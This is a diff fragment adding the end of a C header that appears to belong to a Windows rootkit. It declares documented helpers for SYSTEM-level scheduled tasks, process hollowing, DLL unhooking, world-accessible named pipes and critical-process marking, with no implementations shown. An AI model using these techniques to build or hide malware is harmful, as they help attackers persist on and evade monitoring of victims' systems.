file was successfully executed; +/// otherwise, FALSE. +/// If the file was executed, but deletion failed, TRUE is returned. +/// +BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile); +/// +/// Creates a scheduled task that is set to run under the SYSTEM account before the user logs in. +/// +/// The name of the scheduled task. +/// The working directory of the scheduled task. +/// The application name of the scheduled task. +/// The commandline arguments to pass to the created process. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments); +/// +/// Starts a scheduled task. +/// +/// The name of the scheduled task. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL RunScheduledTask(LPCWSTR name); +/// +/// Deletes a scheduled task. +/// +/// The name of the scheduled task. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL DeleteScheduledTask(LPCWSTR name); +/// +/// Creates a named pipe that is accessible by every process. +/// +/// The name of the named pipe to be created. +/// +/// A handle to the newly created named pipe, or INVALID_HANDLE_VALUE, if creation failed. +/// +HANDLE CreatePublicNamedPipe(LPCWSTR name); + +/// +/// Determines the bitness of an executable file. +/// +/// A buffer containing the executable file. +/// A pointer to a BOOL value to write the result to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit); +/// +/// Creates a new process using the process hollowing technique. +/// If the current process is a 32-bit process, only 32-bit processes can be created. +/// +/// The target executable path. This can be any existing file with the same bitness as the payload. +/// The actual executable that is the payload of the new process, regardless of the path argument. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL RunPE(LPCWSTR path, LPBYTE payload); +/// +/// Converts an IMAGE_SECTION_HEADER.Characteristics flag to a memory page protection flag. +/// +/// The characteristics of a section. +/// +/// A DWORD value to be used with VirtualProtectEx. +/// +DWORD SectionCharacteristicsToProtection(DWORD characteristics); +/// +/// Gets the file offset of an exported function from an executable file. +/// +/// A buffer with the executable file. +/// The name of the exported function. +/// +/// The file offset of the exported function; or 0, if this function fails. +/// +DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName); +/// +/// Converts a RVA to a file offset. +/// +/// A buffer with the executable file. +/// The RVA to convert. +/// +/// The file offset converted from the specified RVA; or 0, if this function fails. +/// +DWORD RvaToOffset(LPBYTE image, DWORD rva); +/// +/// Unhooks a DLL by replacing the .text section with the original DLL section. +/// +/// The name of the DLL to unhook. +VOID UnhookDll(LPCWSTR name); + +NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); +NTSTATUS NTAPI R77_NtCreateThreadEx(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); +NTSTATUS NTAPI R77_NtUnmapViewOfSection(HANDLE processHandle, LPVOID baseAddress); +NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation); +NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); +NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); +PDH_STATUS WINAPI R77_PdhGetCounterInfoW(PDH_HCOUNTER counter, BOOLEAN retrieveExplainText, LPDWORD bufferSize, PNT_PDH_COUNTER_INFO_W buffer); + #endif \ No newline at end of file